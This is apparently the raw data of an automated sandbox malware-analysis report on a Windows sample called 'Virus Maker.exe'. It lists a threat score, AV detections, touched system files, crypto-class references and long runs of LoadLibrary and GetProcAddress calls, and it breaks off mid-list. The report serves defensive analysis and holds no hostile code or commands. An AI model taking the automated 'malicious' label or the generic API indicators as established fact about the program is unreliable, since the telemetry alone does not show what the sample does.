26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 40:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 25:T4cd,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_60% Sample 16f14bd60c84… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 16f14bd60c84…. Malware family: Win/malicious_confidence_60%. Threat score 100/100. 12/27 AV engines flagged this file. 5 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/16f14bd60c84a7838b99c34a791d5d334f08ee1e588c95162290ced38db8b092","keywords":["Malicious","Win/malicious_confidence_60%","malware analysis","sandbox report","threat intelligence","16f14bd60c84a7838b99c34a791d5d334f08ee1e588c95162290ced38db8b092"],"about":{"@type":"SoftwareApplication","name":"Virus Maker.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"16f14bd60c84a7838b99c34a791d5d334f08ee1e588c95162290ced38db8b092","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_60%","antivirusDetections":{"malicious":12,"total":27},"behavioralIndicators":{"malicious":5,"suspicious":20},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T5f4,"" touched file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll" "" touched file "C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\7aa0dcace3b5d10b626540709537d280\System.Core.ni.dll.aux" "" touched file "C:\Windows\Fonts\tahoma.ttf" "" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config" "" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "" touched file "C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\77f338d420d067a26b2d34f47445fc51\mscorlib.ni.dll.aux" "" touched file "C:\Windows\assembly\pubpol107.dat" "" touched file "C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\1c459c609c9edf4427ae91b4293b0d0a\Microsoft.VisualBasic.ni.dll.aux" "" touched file "C:\Windows\assembly\NativeImages_v4.0.30319_32\System\0b2f69b43a576b9edcc807a30872bd91\System.ni.dll.aux"28:T2a42,Found reference to "System.Security.Cryptography.RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.RSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "RSACng"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.DSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "DSACng"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesManaged"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellman"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellmanCng"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsa"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsaCng"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512CryptoServiceProvider"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384" (Indicator: "SHA384"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng" (Indicator: "SHA384"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512" (Indicator: "SHA512"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng" (Indicator: "SHA512"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider" (Indicator: "SHA512"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider" (Indicator: "SHA512CryptoServiceProvider"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.HMAC" (Indicator: "HMAC"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.KeyedHashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp") Found reference to "System.Security.Cryptography.KeyedHashAlgorithm" (Indicator: "KeyedHashAlgorithm"; Source: "00000000-00007728.00000000.182418.035B0000.00000004.mdmp, 00000000-00007728.00000001.184339.035B0000.00000004.mdmp, 00000000-00007728.00000002.186259.035B0000.00000004.mdmp")29:Tc60,"VirusMaker.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000002f0170c85e0170c85e0100000000095046770000637603000000065146770000000048ef2f0134297276000000000000000000000000000000002048727608000000000000005013677634297276000000000800000070c85e010000000000000000000000000000000018000000c4843d01932fc27360002f012cef2f01c0ef2f01705fc273e048d673feffffff94fc4a77889e5e0100005d010000000000000000a368c17334ef2f01000000006400000024002f0030515d01000000002f0000000000000000975e01879e5e01889e5e0120515d0100005d012cef2f0114ef2f01a6eb4677000000000000000000000000b047727643e13e5e4cef2f01 (UID: 00000000-00007728) "VirusMaker.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007728) "VirusMaker.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007728) "VirusMaker.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d580000020000000000ff00b41f1301d008ff00acce2f01feba4677000000000000000003000000a86c5d01b41f1301c8ce2f0165094b771300000000000000d06c0476f0b98d7613000000dcce2f01ae2e48770300000000000000d06c0476ecce2f01e16c0476030000000000000014cf2f016820307703000000000000009a83b900709295760000000054cf2f01201b3577ffffffff64cf2f01581030773c103077ea83b900709295769cb98d76f0b98d7644cf2f0140cf2f010d0000000d0000005041b1767cc8ea76000000004041b17660cf2f01d8cf2f01608d3377c659aa76feffffff70cf2f01900f30775041b17680cf2f010625a4767cc8ea765041b1768ccf2f01 (UID: 00000000-00007728) "VirusMaker.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000043e83e5e50e52f0178f7620150e82f01b0e849774b3e4228feffffff78f76201787f4777382163010000000078f762010a000b00b6c7906f000000000000000060a6906f70a6906f78f7620158246501140000000000000000000000382163010000000080e62f01d708467778f76201000000008403fe7f00000000f000896f00000000094d0b3dec6149775fd645776403000078f762010000000064216301180000000000000008e72f0140080000000000000000000000000000010000003d13bd50190000001100000010000000e49b630130a18f6ffeffffff10cb5d01e49b6301000000000000000000000000ece62f01 (UID: 00000000-00007728)2a:T16cd,"VirusMaker.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\8d55d7cad944a3f21aeb1db491f3d6de\mscorlib.ni.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\10e5a0803d11b8b826dbeb56a1f98239\System.ni.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\53fcc36b6b7c9cc86e5d7484c1f93bd8\System.Core.ni.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\e4e680611f69d26d704e61dd8bfa4ece\System.Configuration.ni.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\638ba173c955ab83f37edbab9b896f44\System.Xml.ni.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007728) "VirusMaker.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\comctl32.dll (UID: 00000000-00007728)2b:T9ad2,"VirusMaker.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter _CorExeMain_RetAddr (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter _CorExeMain (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00007728) "VirusMaker.exe" called "GetProcAddress" with a parameter 